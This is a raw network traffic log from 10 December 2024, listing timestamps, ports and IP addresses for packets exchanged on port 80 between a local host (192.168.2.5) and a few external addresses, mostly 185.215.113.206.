Dec 10, 2024 05:10:40.865488052 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.866055012 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.866095066 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.866265059 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.866303921 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.866749048 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.866787910 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.866875887 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.866909981 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.867731094 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.867799044 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.867834091 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.868701935 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.868818998 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.868855953 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.869597912 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.869705915 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.869746923 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.870543003 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.870661974 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.870702982 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.871504068 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.871612072 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.871654987 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.872477055 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.872520924 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.872556925 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.873425007 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.873465061 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.873569965 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.874376059 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.874418020 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.874475956 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.874514103 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.875330925 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.875426054 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.875464916 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.876287937 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.876393080 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.876430035 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.877228022 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.877264977 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.877319098 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.878201008 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.878241062 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.878252029 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.879089117 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.879106045 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.879128933 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.879173040 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.879213095 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.919528961 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.919595003 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.919655085 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.919990063 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.920087099 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.920135021 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.920933008 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.920980930 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.920998096 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.921900988 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.921942949 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.921974897 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.922882080 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.922893047 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.922925949 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.923826933 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.923890114 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.923930883 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.924757957 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.924768925 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.924792051 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.924818993 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.960146904 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:40.976418018 CET	80	49914	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:40.976515055 CET	80	49893	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:40.976604939 CET	49893	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:40.976784945 CET	49914	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:40.976784945 CET	49914	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:40.986695051 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.986756086 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.986758947 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.986804962 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.987144947 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.987308979 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.987355947 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.988095045 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.988158941 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.988200903 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.989013910 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.989052057 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.989125967 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.989979029 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.990020037 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.990041018 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.990915060 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.990958929 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.991034031 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.991072893 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.991868019 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.991970062 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.992012024 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.992814064 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.992918015 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.992958069 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.993808985 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.993870974 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.993911028 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.994693041 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.994740963 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.994752884 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.995687962 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.995734930 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.995762110 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.996571064 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.996618986 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.996709108 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.997634888 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.997688055 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.997721910 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.997762918 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.998506069 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.998567104 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.998596907 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.998636007 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.999448061 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.999495983 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:40.999557018 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:40.999730110 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.000396967 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.000448942 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.000535011 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.000590086 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.001353025 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.001395941 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.001456022 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.001502991 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.002526999 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.002573967 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.002778053 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.002830982 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.003654957 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.003705978 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.004070997 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.004120111 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.004487038 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.004503012 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.004545927 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.005158901 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.005261898 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.005301952 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.006099939 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.006136894 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.006206036 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.007083893 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.007107019 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.007128954 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.007141113 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.007181883 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.007983923 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.008023977 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.008106947 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.008142948 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.008951902 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.008992910 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.009072065 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.009118080 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.009912014 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.009994030 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.010046005 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.010843992 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.010854006 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.010899067 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.053334951 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.053502083 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.053555965 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.053802967 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.053939104 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.053980112 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.054749966 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.054791927 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.054847956 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.055108070 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.055681944 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.055721045 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.055777073 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.055815935 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.056623936 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.056663990 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.056730986 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.057586908 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.057625055 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.057688951 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.057796955 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.058533907 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.058578014 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.058638096 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.058677912 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.059488058 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.059604883 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.059648037 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.060434103 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.060482025 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.060534954 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.061279058 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.061431885 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.061503887 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.061506987 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.061546087 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.062330008 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.062376976 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.062412024 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.062450886 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.063281059 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.063386917 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.063432932 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.064229965 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.064284086 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.064321995 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.064361095 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.065191031 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.065282106 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.065310955 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.065355062 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.066121101 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.066169977 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.066200018 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.066987038 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.067071915 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.067126989 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.067188978 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.067245960 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.068017960 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.068073988 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.068079948 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.068125963 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.069030046 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.069083929 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.069139957 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.069181919 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.069931984 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.069978952 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.070049047 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.070090055 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.070888042 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.070933104 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.071048021 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.071116924 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.096120119 CET	80	49914	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:41.111479998 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.111531973 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.111551046 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.111584902 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.111943007 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.112009048 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.112025976 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.112109900 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.112881899 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.112951040 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.113128901 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.113220930 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.113835096 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.113890886 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.113897085 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.113933086 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.114773989 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.114825010 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.114881039 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.114940882 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.115967035 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.115978003 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.116023064 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.116976023 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.117027044 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.117053032 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.117187023 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.179459095 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.179471016 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.179522038 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.179902077 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.180061102 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.180104971 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.180977106 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.181130886 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.181180000 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.181844950 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.181886911 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.182020903 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.182156086 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.182796001 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.182962894 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.182997942 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.183775902 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.183898926 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.183908939 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.183942080 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.183959007 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.183979034 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.184043884 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.184822083 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.184878111 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.184953928 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.184999943 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.185776949 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.185817957 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.185858011 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.185904026 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.186722994 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.186779022 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.186806917 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.186849117 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.187848091 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.187895060 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.188071012 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.188112020 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.188616037 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.188659906 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.188719988 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.188764095 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.189553022 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.189600945 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.189692020 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.190519094 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.190563917 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.190625906 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.190804958 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.191481113 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.191677094 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.191721916 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.192437887 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.192492962 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.192516088 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.192558050 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.193366051 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.193418980 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.193470955 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.193507910 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.194506884 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.194550037 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.194622993 CET	80	49895	185.215.113.206	192.168.2.5
